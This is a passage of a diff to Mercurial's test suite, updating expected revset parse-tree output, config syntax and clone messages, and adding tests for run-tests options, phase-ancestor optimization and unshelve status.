-    ('symbol', '.'))
+    (symbol 'p2')
+    (symbol '.'))
   * expanded:
   (func
-    ('symbol', 'p1')
-    ('symbol', '.'))
+    (symbol 'p1')
+    (symbol '.'))
   * set:
   <baseset+ [8]>
   8
@@ -3736,8 +894,8 @@
   $ export HGPLAIN
   $ try 'p2(.)'
   (func
-    ('symbol', 'p2')
-    ('symbol', '.'))
+    (symbol 'p2')
+    (symbol '.'))
   * set:
   <baseset+ []>
 
@@ -3745,12 +903,12 @@
   $ export HGPLAINEXCEPT
   $ try 'p2(.)'
   (func
-    ('symbol', 'p2')
-    ('symbol', '.'))
+    (symbol 'p2')
+    (symbol '.'))
   * expanded:
   (func
-    ('symbol', 'p1')
-    ('symbol', '.'))
+    (symbol 'p1')
+    (symbol '.'))
   * set:
   <baseset+ [8]>
   8
@@ -3761,12 +919,12 @@
 test alias recursion
 
   $ try sincem
-  ('symbol', 'sincem')
+  (symbol 'sincem')
   * expanded:
   (func
-    ('symbol', 'descendants')
+    (symbol 'descendants')
     (func
-      ('symbol', 'merge')
+      (symbol 'merge')
       None))
   * set:
   <generatorset+>
@@ -3778,7 +936,7 @@
   $ echo 'recurse1 = recurse2' >> .hg/hgrc
   $ echo 'recurse2 = recurse1' >> .hg/hgrc
   $ try recurse1
-  ('symbol', 'recurse1')
+  (symbol 'recurse1')
   hg: parse error: infinite expansion of revset alias "recurse1" detected
   [255]
 
@@ -3786,22 +944,22 @@
   $ echo 'level2($1, $2) = level1($2, $1)' >> .hg/hgrc
   $ try "level2(level1(1, 2), 3)"
   (func
-    ('symbol', 'level2')
+    (symbol 'level2')
     (list
       (func
-        ('symbol', 'level1')
+        (symbol 'level1')
         (list
-          ('symbol', '1')
-          ('symbol', '2')))
-      ('symbol', '3')))
+          (symbol '1')
+          (symbol '2')))
+      (symbol '3')))
   * expanded:
   (or
     (list
-      ('symbol', '3')
+      (symbol '3')
       (or
         (list
-          ('symbol', '1')
-          ('symbol', '2')))))
+          (symbol '1')
+          (symbol '2')))))
   * set:
   <addset
     <baseset [3]>,
@@ -3817,16 +975,16 @@
   $ echo 'nested3($1) = max($1)' >> .hg/hgrc
   $ try 'nested(2:5)'
   (func
-    ('symbol', 'nested')
+    (symbol 'nested')
     (range
-      ('symbol', '2')
-      ('symbol', '5')))
+      (symbol '2')
+      (symbol '5')))
   * expanded:
   (func
-    ('symbol', 'max')
+    (symbol 'max')
     (range
-      ('symbol', '2')
-      ('symbol', '5')))
+      (symbol '2')
+      (symbol '5')))
   * set:
   <baseset
     <max
@@ -3839,29 +997,29 @@
   $ echo 'chainedorops($1, $2, $3) = $1|$2|$3' >> .hg/hgrc
   $ try 'chainedorops(0:1, 1:2, 2:3)'
   (func
-    ('symbol', 'chainedorops')
+    (symbol 'chainedorops')
     (list
       (range
-        ('symbol', '0')
-        ('symbol', '1'))
+        (symbol '0')
+        (symbol '1'))
       (range
-        ('symbol', '1')
-        ('symbol', '2'))
+        (symbol '1')
+        (symbol '2'))
       (range
-        ('symbol', '2')
-        ('symbol', '3'))))
+        (symbol '2')
+        (symbol '3'))))
   * expanded:
   (or
     (list
       (range
-        ('symbol', '0')
-        ('symbol', '1'))
+        (symbol '0')
+        (symbol '1'))
       (range
-        ('symbol', '1')
-        ('symbol', '2'))
+        (symbol '1')
+        (symbol '2'))
       (range
-        ('symbol', '2')
-        ('symbol', '3'))))
+        (symbol '2')
+        (symbol '3'))))
   * set:
   <addset
     <spanset+ 0:2>,
@@ -3881,16 +1039,16 @@
   $ echo 'callinjection($1) = descendants(injectparamasstring)' >> .hg/hgrc
   $ try 'callinjection(2:5)'
   (func
-    ('symbol', 'callinjection')
+    (symbol 'callinjection')
     (range
-      ('symbol', '2')
-      ('symbol', '5')))
+      (symbol '2')
+      (symbol '5')))
   * expanded:
   (func
-    ('symbol', 'descendants')
+    (symbol 'descendants')
     (func
-      ('symbol', 'max')
-      ('string', '$1')))
+      (symbol 'max')
+      (string '$1')))
   abort: unknown revision '$1'!
   [255]
 
@@ -3901,13 +1059,13 @@
   $ echo 'shadowall(all) = all and universe' >> .hg/hgrc
   $ try 'shadowall(0)'
   (func
-    ('symbol', 'shadowall')
-    ('symbol', '0'))
+    (symbol 'shadowall')
+    (symbol '0'))
   * expanded:
   (and
-    ('symbol', '0')
+    (symbol '0')
     (func
-      ('symbol', 'all')
+      (symbol 'all')
       None))
   * set:
   <filteredset
@@ -3919,26 +1077,26 @@
 
   $ try "unknownref(0)" --config 'revsetalias.unknownref($1)=$1:$2'
   (func
-    ('symbol', 'unknownref')
-    ('symbol', '0'))
+    (symbol 'unknownref')
+    (symbol '0'))
   abort: bad definition of revset alias "unknownref": invalid symbol '$2'
   [255]
 
   $ hg debugrevspec --debug --config revsetalias.anotherbadone='branch(' "tip"
-  ('symbol', 'tip')
+  (symbol 'tip')
   warning: bad definition of revset alias "anotherbadone": at 7: not a prefix: end
   * set:
   <baseset [9]>
   9
 
   $ try 'tip'
-  ('symbol', 'tip')
+  (symbol 'tip')
   * set:
   <baseset [9]>
   9
 
   $ hg debugrevspec --debug --config revsetalias.'bad name'='tip' "tip"
-  ('symbol', 'tip')
+  (symbol 'tip')
   warning: bad declaration of revset alias "bad name": at 4: invalid token
   * set:
   <baseset [9]>
@@ -3946,17 +1104,17 @@
   $ echo 'strictreplacing($1, $10) = $10 or desc("$1")' >> .hg/hgrc
   $ try 'strictreplacing("foo", tip)'
   (func
-    ('symbol', 'strictreplacing')
+    (symbol 'strictreplacing')
     (list
-      ('string', 'foo')
-      ('symbol', 'tip')))
+      (string 'foo')
+      (symbol 'tip')))
   * expanded:
   (or
     (list
-      ('symbol', 'tip')
+      (symbol 'tip')
       (func
-        ('symbol', 'desc')
-        ('string', '$1'))))
+        (symbol 'desc')
+        (string '$1'))))
   * set:
   <addset
     <baseset [9]>,
@@ -3967,20 +1125,20 @@
 
   $ try 'd(2:5)'
   (func
-    ('symbol', 'd')
+    (symbol 'd')
     (range
-      ('symbol', '2')
-      ('symbol', '5')))
+      (symbol '2')
+      (symbol '5')))
   * expanded:
   (func
-    ('symbol', 'reverse')
+    (symbol 'reverse')
     (func
-      ('symbol', 'sort')
+      (symbol 'sort')
       (list
         (range
-          ('symbol', '2')
-          ('symbol', '5'))
-        ('symbol', 'date'))))
+          (symbol '2')
+          (symbol '5'))
+        (symbol 'date'))))
   * set:
   <baseset [4, 5, 3, 2]>
   4
@@ -3989,71 +1147,71 @@
   2
   $ try 'rs(2 or 3, date)'
   (func
-    ('symbol', 'rs')
+    (symbol 'rs')
     (list
       (or
         (list
-          ('symbol', '2')
-          ('symbol', '3')))
-      ('symbol', 'date')))
+          (symbol '2')
+          (symbol '3')))
+      (symbol 'date')))
   * expanded:
   (func
-    ('symbol', 'reverse')
+    (symbol 'reverse')
     (func
-      ('symbol', 'sort')
+      (symbol 'sort')
       (list
         (or
           (list
-            ('symbol', '2')
-            ('symbol', '3')))
-        ('symbol', 'date'))))
+            (symbol '2')
+            (symbol '3')))
+        (symbol 'date'))))
   * set:
   <baseset [3, 2]>
   3
   2
   $ try 'rs()'
   (func
-    ('symbol', 'rs')
+    (symbol 'rs')
     None)
   hg: parse error: invalid number of arguments: 0
   [255]
   $ try 'rs(2)'
   (func
-    ('symbol', 'rs')
-    ('symbol', '2'))
+    (symbol 'rs')
+    (symbol '2'))
   hg: parse error: invalid number of arguments: 1
   [255]
   $ try 'rs(2, data, 7)'
   (func
-    ('symbol', 'rs')
+    (symbol 'rs')
     (list
-      ('symbol', '2')
-      ('symbol', 'data')
-      ('symbol', '7')))
+      (symbol '2')
+      (symbol 'data')
+      (symbol '7')))
   hg: parse error: invalid number of arguments: 3
   [255]
   $ try 'rs4(2 or 3, x, x, date)'
   (func
-    ('symbol', 'rs4')
+    (symbol 'rs4')
     (list
       (or
         (list
-          ('symbol', '2')
-          ('symbol', '3')))
-      ('symbol', 'x')
-      ('symbol', 'x')
-      ('symbol', 'date')))
+          (symbol '2')
+          (symbol '3')))
+      (symbol 'x')
+      (symbol 'x')
+      (symbol 'date')))
   * expanded:
   (func
-    ('symbol', 'reverse')
+    (symbol 'reverse')
     (func
-      ('symbol', 'sort')
+      (symbol 'sort')
       (list
         (or
           (list
-            ('symbol', '2')
-            ('symbol', '3')))
-        ('symbol', 'date'))))
+            (symbol '2')
+            (symbol '3')))
+        (symbol 'date'))))
   * set:
   <baseset [3, 2]>
   3
@@ -4120,16 +1278,16 @@
   $ try 'limit(1 or 2 or 3, 2) and not 2'
   (and
     (func
-      ('symbol', 'limit')
+      (symbol 'limit')
       (list
         (or
           (list
-            ('symbol', '1')
-            ('symbol', '2')
-            ('symbol', '3')))
-        ('symbol', '2')))
+            (symbol '1')
+            (symbol '2')
+            (symbol '3')))
+        (symbol '2')))
     (not
-      ('symbol', '2')))
+      (symbol '2')))
   * set:
   <filteredset
     <baseset [1, 2]>,
@@ -4139,13 +1297,13 @@
   $ try 'max(1 or 2) and not 2'
   (and
     (func
-      ('symbol', 'max')
+      (symbol 'max')
       (or
         (list
-          ('symbol', '1')
-          ('symbol', '2'))))
+          (symbol '1')
+          (symbol '2'))))
     (not
-      ('symbol', '2')))
+      (symbol '2')))
   * set:
   <filteredset
     <baseset
@@ -4157,13 +1315,13 @@
   $ try 'min(1 or 2) and not 1'
   (and
     (func
-      ('symbol', 'min')
+      (symbol 'min')
       (or
         (list
-          ('symbol', '1')
-          ('symbol', '2'))))
+          (symbol '1')
+          (symbol '2'))))
     (not
-      ('symbol', '1')))
+      (symbol '1')))
   * set:
   <filteredset
     <baseset
@@ -4175,15 +1333,15 @@
   $ try 'last(1 or 2, 1) and not 2'
   (and
     (func
-      ('symbol', 'last')
+      (symbol 'last')
       (list
         (or
           (list
-            ('symbol', '1')
-            ('symbol', '2')))
-        ('symbol', '1')))
+            (symbol '1')
+            (symbol '2')))
+        (symbol '1')))
     (not
-      ('symbol', '2')))
+      (symbol '2')))
   * set:
   <filteredset
     <baseset [2]>,
@@ -4258,12 +1416,12 @@
   (_concat
     (_concat
       (_concat
-        ('symbol', '278')
-        ('string', '5f5'))
-      ('symbol', '1ee'))
-    ('string', 'ce5'))
+        (symbol '278')
+        (string '5f5'))
+      (symbol '1ee'))
+    (string 'ce5'))
   * concatenated:
-  ('string', '2785f51eece5')
+  (string '2785f51eece5')
   * set:
   <baseset [0]>
   0
@@ -4271,22 +1429,22 @@
   $ echo 'cat4($1, $2, $3, $4) = $1 ## $2 ## $3 ## $4' >> .hg/hgrc
   $ try "cat4(278, '5f5', 1ee, 'ce5')"
   (func
-    ('symbol', 'cat4')
+    (symbol 'cat4')
     (list
-      ('symbol', '278')
-      ('string', '5f5')
-      ('symbol', '1ee')
-      ('string', 'ce5')))
+      (symbol '278')
+      (string '5f5')
+      (symbol '1ee')
+      (string 'ce5')))
   * expanded:
   (_concat
     (_concat
       (_concat
-        ('symbol', '278')
-        ('string', '5f5'))
-      ('symbol', '1ee'))
-    ('string', 'ce5'))
+        (symbol '278')
+        (string '5f5'))
+      (symbol '1ee'))
+    (string 'ce5'))
   * concatenated:
-  ('string', '2785f51eece5')
+  (string '2785f51eece5')
   * set:
   <baseset [0]>
   0
@@ -4437,14 +1595,17 @@
 Test repo.anyrevs with customized revset overrides
 
   $ cat > $TESTTMP/printprevset.py <<EOF
-  > from mercurial import encoding
-  > def reposetup(ui, repo):
+  > from mercurial import encoding, registrar
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > @command('printprevset')
+  > def printprevset(ui, repo):
   >     alias = {}
   >     p = encoding.environ.get('P')
   >     if p:
   >         alias['P'] = p
   >     revs = repo.anyrevs(['P'], user=True, localalias=alias)
-  >     ui.write('P=%r' % list(revs))
+  >     ui.write('P=%r\n' % list(revs))
   > EOF
 
   $ cat >> .hg/hgrc <<EOF
@@ -4452,9 +1613,9 @@
   > printprevset = $TESTTMP/printprevset.py
   > EOF
 
-  $ hg --config revsetalias.P=1 log -r . -T '\n'
+  $ hg --config revsetalias.P=1 printprevset
   P=[1]
-  $ P=3 hg --config revsetalias.P=2 log -r . -T '\n'
+  $ P=3 hg --config revsetalias.P=2 printprevset
   P=[3]
 
   $ cd ..
@@ -4465,7 +1626,7 @@
   $ cd repo1
   $ cat <<EOF >> .hg/hgrc
   > [experimental]
-  > evolution = createmarkers
+  > evolution.createmarkers=True
   > EOF
 
   $ hg debugdrawdag <<'EOS'
@@ -4504,10 +1665,154 @@
   E
   G
 
-  $ hg log -r 'successors(B+A)-divergent()' -T '{desc}\n'
+  $ hg log -r 'successors(B+A)-contentdivergent()' -T '{desc}\n'
   A
   Z
   B
 
-  $ hg log -r 'successors(B+A)-divergent()-obsolete()' -T '{desc}\n'
+  $ hg log -r 'successors(B+A)-contentdivergent()-obsolete()' -T '{desc}\n'
   Z
+
+Test `draft() & ::x` optimization
+
+  $ hg init $TESTTMP/repo2
+  $ cd $TESTTMP/repo2
+  $ hg debugdrawdag <<'EOS'
+  >   P5 S1
+  >    |  |
+  > S2 | D3
+  >   \|/
+  >   P4
+  >    |
+  >   P3 D2
+  >    |  |
+  >   P2 D1
+  >    |/
+  >   P1
+  >    |
+  >   P0
+  > EOS
+  $ hg phase --public -r P5
+  $ hg phase --force --secret -r S1+S2
+  $ hg log -G -T '{rev} {desc} {phase}' -r 'sort(all(), topo, topo.firstbranch=P5)'
+  o  8 P5 public
+  |
+  | o  10 S1 secret
+  | |
+  | o  7 D3 draft
+  |/
+  | o  9 S2 secret
+  |/
+  o  6 P4 public
+  |
+  o  5 P3 public
+  |
+  o  3 P2 public
+  |
+  | o  4 D2 draft
+  | |
+  | o  2 D1 draft
+  |/
+  o  1 P1 public
+  |
+  o  0 P0 public
+  
+  $ hg debugrevspec --verify -p analyzed -p optimized 'draft() & ::(((S1+D1+P5)-D3)+S2)'
+  * analyzed:
+  (and
+    (func
+      (symbol 'draft')
+      None)
+    (func
+      (symbol 'ancestors')
+      (or
+        (list
+          (and
+            (or
+              (list
+                (symbol 'S1')
+                (symbol 'D1')
+                (symbol 'P5')))
+            (not
+              (symbol 'D3')))
+          (symbol 'S2')))))
+  * optimized:
+  (func
+    (symbol '_phaseandancestors')
+    (list
+      (symbol 'draft')
+      (or
+        (list
+          (difference
+            (func
+              (symbol '_list')
+              (string 'S1\x00D1\x00P5'))
+            (symbol 'D3'))
+          (symbol 'S2')))))
+  $ hg debugrevspec --verify -p analyzed -p optimized 'secret() & ::9'
+  * analyzed:
+  (and
+    (func
+      (symbol 'secret')
+      None)
+    (func
+      (symbol 'ancestors')
+      (symbol '9')))
+  * optimized:
+  (func
+    (symbol '_phaseandancestors')
+    (list
+      (symbol 'secret')
+      (symbol '9')))
+  $ hg debugrevspec --verify -p analyzed -p optimized '7 & ( (not public()) & ::(tag()) )'
+  * analyzed:
+  (and
+    (symbol '7')
+    (and
+      (not
+        (func
+          (symbol 'public')
+          None))
+      (func
+        (symbol 'ancestors')
+        (func
+          (symbol 'tag')
+          None))))
+  * optimized:
+  (and
+    (symbol '7')
+    (func
+      (symbol '_phaseandancestors')
+      (list
+        (symbol '_notpublic')
+        (func
+          (symbol 'tag')
+          None))))
+  $ hg debugrevspec --verify -p optimized '(not public()) & ancestors(S1+D2+P5, 1)'
+  * optimized:
+  (and
+    (func
+      (symbol '_notpublic')
+      None)
+    (func
+      (symbol 'ancestors')
+      (list
+        (func
+          (symbol '_list')
+          (string 'S1\x00D2\x00P5'))
+        (symbol '1'))))
+  $ hg debugrevspec --verify -p optimized '(not public()) & ancestors(S1+D2+P5, depth=1)'
+  * optimized:
+  (and
+    (func
+      (symbol '_notpublic')
+      None)
+    (func
+      (symbol 'ancestors')
+      (list
+        (func
+          (symbol '_list')
+          (string 'S1\x00D2\x00P5'))
+        (keyvalue
+          (symbol 'depth')
+          (symbol '1')))))
diff --git a/tests/test-rollback.t b/tests/test-rollback.t
--- a/tests/test-rollback.t
+++ b/tests/test-rollback.t
@@ -134,6 +134,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 1 files (+1 heads)
+  new changesets 23b0221f3370:068774709090
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd u
@@ -219,10 +220,18 @@
   > import errno
   > from mercurial.i18n import _
   > from mercurial import (
+  >     registrar,
   >     error,
   >     ui as uimod,
   > )
   > 
+  > configtable = {}
+  > configitem = registrar.configitem(configtable)
+  > 
+  > configitem('ui', 'ioerrors',
+  >     default=list,
+  > )
+  > 
   > def pretxncommit(ui, repo, **kwargs):
   >     ui.warn('warn during pretxncommit\n')
   > 
@@ -244,7 +253,7 @@
   >         return getattr(self._o, attr)
   > 
   >     def write(self, msg):
-  >         errors = set(self._ui.configlist('ui', 'ioerrors', []))
+  >         errors = set(self._ui.configlist('ui', 'ioerrors'))
   >         pretxncommit = msg == 'warn during pretxncommit\n'
   >         pretxnclose = msg == 'warn during pretxnclose\n'
   >         txnclose = msg == 'warn during txnclose\n'
diff --git a/tests/test-run-tests.py b/tests/test-run-tests.py
--- a/tests/test-run-tests.py
+++ b/tests/test-run-tests.py
@@ -39,7 +39,8 @@
             and output.endswith(b'\n')), 'missing newline'
     assert not re.search(br'[^ \w\\/\r\n()*?]', expected + output), \
            b'single backslash or unknown char'
-    match = run_tests.TTest.linematch(expected, output)
+    test = run_tests.TTest(b'test-run-test.t', b'.', b'.')
+    match = test.linematch(expected, output)
     if isinstance(match, str):
         return 'special: ' + match
     elif isinstance(match, bytes):
diff --git a/tests/test-run-tests.t b/tests/test-run-tests.t
--- a/tests/test-run-tests.t
+++ b/tests/test-run-tests.t
@@ -132,9 +132,9 @@
      bar*bad (glob)
   \x1b[38;5;124m-  bar*baz (glob)\x1b[39m (esc)
   
-  ERROR: test-failure.t output changed
+  \x1b[38;5;88mERROR: \x1b[39m\x1b[38;5;9mtest-failure.t\x1b[39m\x1b[38;5;88m output changed\x1b[39m (esc)
   !
-  Failed test-failure.t: output changed
+  \x1b[38;5;88mFailed \x1b[39m\x1b[38;5;9mtest-failure.t\x1b[39m\x1b[38;5;88m: output changed\x1b[39m (esc)
   # Ran 1 tests, 0 skipped, 1 failed.
   python hash seed: * (glob)
   [1]
@@ -158,6 +158,73 @@
   python hash seed: * (glob)
 #endif
 
+  $ cat > test-failure.t << EOF
+  >   $ true
+  >   should go away (true !)
+  >   $ true
+  >   should stay (false !)
+  > 
+  > Should remove first line, not second or third
+  >   $ echo 'testing'
+  >   baz*foo (glob) (true !)
+  >   foobar*foo (glob) (false !)
+  >   te*ting (glob) (true !)
+  > 
+  > Should keep first two lines, remove third and last
+  >   $ echo 'testing'
+  >   test.ng (re) (true !)
+  >   foo.ar (re) (false !)
+  >   b.r (re) (true !)
+  >   missing (?)
+  >   awol (true !)
+  > 
+  > The "missing" line should stay, even though awol is dropped
+  >   $ echo 'testing'
+  >   test.ng (re) (true !)
+  >   foo.ar (?)
+  >   awol
+  >   missing (?)
+  > EOF
+  $ rt test-failure.t
+  
+  --- $TESTTMP/test-failure.t
+  +++ $TESTTMP/test-failure.t.err
+  @@ -1,11 +1,9 @@
+     $ true
+  -  should go away (true !)
+     $ true
+     should stay (false !)
+   
+   Should remove first line, not second or third
+     $ echo 'testing'
+  -  baz*foo (glob) (true !)
+     foobar*foo (glob) (false !)
+     te*ting (glob) (true !)
+   
+     foo.ar (re) (false !)
+     missing (?)
+  @@ -13,13 +11,10 @@
+     $ echo 'testing'
+     test.ng (re) (true !)
+     foo.ar (re) (false !)
+  -  b.r (re) (true !)
+     missing (?)
+  -  awol (true !)
+   
+   The "missing" line should stay, even though awol is dropped
+     $ echo 'testing'
+     test.ng (re) (true !)
+     foo.ar (?)
+  -  awol
+     missing (?)
+  
+  ERROR: test-failure.t output changed
+  !
+  Failed test-failure.t: output changed
+  # Ran 1 tests, 0 skipped, 1 failed.
+  python hash seed: * (glob)
+  [1]
+
 basic failing test
   $ cat > test-failure.t << EOF
   >   $ echo babar
@@ -542,10 +609,7 @@
   [1]
 
 failures in parallel with --first should only print one failure
-  >>> f = open('test-nothing.t', 'w')
-  >>> f.write('foo\n' * 1024) and None
-  >>> f.write('  $ sleep 1') and None
-  $ rt --jobs 2 --first
+  $ rt --jobs 2 --first test-failure*.t
   
   --- $TESTTMP/test-failure*.t (glob)
   +++ $TESTTMP/test-failure*.t.err (glob)
@@ -558,14 +622,14 @@
    pad pad pad pad............................................................
   
   Failed test-failure*.t: output changed (glob)
-  Failed test-nothing.t: output changed
+  Failed test-failure*.t: output changed (glob)
   # Ran 2 tests, 0 skipped, 2 failed.
   python hash seed: * (glob)
   [1]
 
 
 (delete the duplicated test file)
-  $ rm test-failure-copy.t test-nothing.t
+  $ rm test-failure-copy.t
 
 
 Interactive run
@@ -757,6 +821,20 @@
     2
   #endif
 
+  $ cat >> test-cases.t <<'EOF'
+  > #if a
+  >   $ NAME=A
+  > #else
+  >   $ NAME=B
+  > #endif
+  >   $ echo $NAME
+  >   A (a !)
+  >   B (b !)
+  > EOF
+  $ rt test-cases.t
+  ..
+  # Ran 2 tests, 0 skipped, 0 failed.
+
   $ rm test-cases.t
 
 (reinstall)
@@ -901,6 +979,19 @@
   python hash seed: * (glob)
   [1]
 
+Ensure that --test-list causes only the tests listed in that file to
+be executed.
+  $ echo test-success.t >> onlytest
+  $ rt --test-list=onlytest
+  .
+  # Ran 1 tests, 0 skipped, 0 failed.
+  $ echo test-bogus.t >> anothertest
+  $ rt --test-list=onlytest --test-list=anothertest
+  s.
+  Skipped test-bogus.t: Doesn't exist
+  # Ran 1 tests, 1 skipped, 0 failed.
+  $ rm onlytest anothertest
+
 test for --json
 ==================
 
@@ -1205,6 +1296,58 @@
 
   $ cd ..
 
+support bisecting a separate repo
+
+  $ hg init bisect-dependent
+  $ cd bisect-dependent
+  $ cat > test-bisect-dependent.t <<EOF
+  >   $ tail -1 \$TESTDIR/../bisect/test-bisect.t
+  >     pass
+  > EOF
+  $ hg commit -Am dependent test-bisect-dependent.t
+
+  $ rt --known-good-rev=0 test-bisect-dependent.t
+  
+  --- $TESTTMP/anothertests/bisect-dependent/test-bisect-dependent.t
+  +++ $TESTTMP/anothertests/bisect-dependent/test-bisect-dependent.t.err
+  @@ -1,2 +1,2 @@
+     $ tail -1 $TESTDIR/../bisect/test-bisect.t
+  -    pass
+  +    fail
+  
+  ERROR: test-bisect-dependent.t output changed
+  !
+  Failed test-bisect-dependent.t: output changed
+  Failed to identify failure point for test-bisect-dependent.t
+  # Ran 1 tests, 0 skipped, 1 failed.
+  python hash seed: * (glob)
+  [1]
+
+  $ rt --bisect-repo=../test-bisect test-bisect-dependent.t
+  Usage: run-tests.py [options] [tests]
+  
+  run-tests.py: error: --bisect-repo cannot be used without --known-good-rev
+  [2]
+
+  $ rt --known-good-rev=0 --bisect-repo=../bisect test-bisect-dependent.t
+  
+  --- $TESTTMP/anothertests/bisect-dependent/test-bisect-dependent.t
+  +++ $TESTTMP/anothertests/bisect-dependent/test-bisect-dependent.t.err
+  @@ -1,2 +1,2 @@
+     $ tail -1 $TESTDIR/../bisect/test-bisect.t
+  -    pass
+  +    fail
+  
+  ERROR: test-bisect-dependent.t output changed
+  !
+  Failed test-bisect-dependent.t: output changed
+  test-bisect-dependent.t broken by 72cbf122d116 (bad)
+  # Ran 1 tests, 0 skipped, 1 failed.
+  python hash seed: * (glob)
+  [1]
+
+  $ cd ..
+
 Test a broken #if statement doesn't break run-tests threading.
 ==============================================================
   $ mkdir broken
diff --git a/tests/test-setdiscovery.t b/tests/test-setdiscovery.t
--- a/tests/test-setdiscovery.t
+++ b/tests/test-setdiscovery.t
@@ -294,6 +294,7 @@
   adding manifests
   adding file changes
   added 1340 changesets with 0 changes to 0 files (+259 heads)
+  new changesets 1ea73414a91b:1c51e2c80832
   updating to branch a
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg clone -b b . b
@@ -301,6 +302,7 @@
   adding manifests
   adding file changes
   added 304 changesets with 0 changes to 0 files
+  new changesets 1ea73414a91b:513314ca8b3a
   updating to branch b
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -349,7 +351,7 @@
   $ cut -d' ' -f6- access.log | grep -v cmd=known # cmd=known uses random sampling
   "GET /?cmd=capabilities HTTP/1.1" 200 -
   "GET /?cmd=batch HTTP/1.1" 200 - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D513314ca8b3ae4dac8eec56966265b00fcf866db x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=513314ca8b3ae4dac8eec56966265b00fcf866db&heads=e64a39e7da8b0d54bc63e81169aff001c13b3477 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
+  "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=513314ca8b3ae4dac8eec56966265b00fcf866db&heads=e64a39e7da8b0d54bc63e81169aff001c13b3477 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   "GET /?cmd=listkeys HTTP/1.1" 200 - x-hgarg-1:namespace=phases x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   $ cat errors.log
 
@@ -403,6 +405,7 @@
   searching for changes
   101 102 103 104 105 106 107 108 109 110  (no-eol)
   $ hg -R r1 --config extensions.blackbox= blackbox
+  * @5d0b986a083e0d91f116de4691e2aaa54d5bbec0 (*)> serve --cmdserver chgunix * (glob) (chg !)
   * @5d0b986a083e0d91f116de4691e2aaa54d5bbec0 (*)> outgoing r2 *-T{rev} * (glob)
   * @5d0b986a083e0d91f116de4691e2aaa54d5bbec0 (*)> found 101 common and 1 unknown server heads, 2 roundtrips in *.????s (glob)
   * @5d0b986a083e0d91f116de4691e2aaa54d5bbec0 (*)> -R r1 outgoing r2 *-T{rev} * --config *extensions.blackbox=* exited 0 after *.?? seconds (glob)
diff --git a/tests/test-share.t b/tests/test-share.t
--- a/tests/test-share.t
+++ b/tests/test-share.t
@@ -326,7 +326,12 @@
 
   $ cat > failpullbookmarks.py << EOF
   > """A small extension that makes bookmark pulls fail, for testing"""
-  > from mercurial import extensions, exchange, error
+  > from __future__ import absolute_import
+  > from mercurial import (
+  >   error,
+  >   exchange,
+  >   extensions,
+  > )
   > def _pullbookmarks(orig, pullop):
   >     orig(pullop)
   >     raise error.HookAbort('forced failure by extension')
diff --git a/tests/test-shelve.t b/tests/test-shelve.t
--- a/tests/test-shelve.t
+++ b/tests/test-shelve.t
@@ -342,6 +342,23 @@
   warning: conflicts while merging a/a! (edit, then use 'hg resolve --mark')
   unresolved conflicts (see 'hg resolve', then 'hg unshelve --continue')
   [1]
+  $ hg status -v
+  M a/a
+  M b.rename/b
+  M c.copy
+  R b/b
+  ? a/a.orig
+  # The repository is in an unfinished *unshelve* state.
+  
+  # Unresolved merge conflicts:
+  # 
+  #     a/a (glob)
+  # 
+  # To mark files as resolved:  hg resolve --mark FILE
+  
+  # To continue:                hg unshelve --continue
+  # To abort:                   hg unshelve --abort
+  
 
 ensure that we have a merge with unresolved conflicts
 
@@ -679,7 +696,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=createmarkers
+  > evolution.createmarkers=True
   > EOF
   $ hg shelve
   shelved as default
@@ -1071,6 +1088,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 8 changes to 6 files
+  new changesets cc01e2b0c59f:33f7f61e6c5e
   updating to branch default
   6 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd bundle1
@@ -1091,6 +1109,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 8 changes to 6 files
+  new changesets cc01e2b0c59f:33f7f61e6c5e
   updating to branch default
   6 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd bundle2
@@ -1100,8 +1119,8 @@
   shelved as default
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg debugbundle .hg/shelved/*.hg
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 1, version: 02}
       45993d65fe9dc3c6d8764b9c3b07fa831ee7d92d
   $ cd ..
 
@@ -1243,7 +1262,7 @@
   unresolved conflicts (see 'hg resolve', then 'hg unshelve --continue')
   [1]
   $ ls .hg/origbackups
-  root.orig
+  root
   $ rm -rf .hg/origbackups
 
 test Abort unshelve always gets user out of the unshelved state
diff --git a/tests/test-show-stack.t b/tests/test-show-stack.t
--- a/tests/test-show-stack.t
+++ b/tests/test-show-stack.t
@@ -17,7 +17,7 @@
   $ echo 0 > foo
   $ hg -q commit -A -m 'commit 0'
   $ hg show stack
-    @  9f171 commit 0
+    @  9f17 commit 0
 
 Stack displays multiple draft changesets
 
@@ -30,48 +30,48 @@
   $ echo 4 > foo
   $ hg commit -m 'commit 4'
   $ hg show stack
-    @  2737b commit 4
-    o  d1a69 commit 3
-    o  128c8 commit 2
-    o  181cc commit 1
-    o  9f171 commit 0
+    @  2737 commit 4
+    o  d1a6 commit 3
+    o  128c commit 2
+    o  181c commit 1
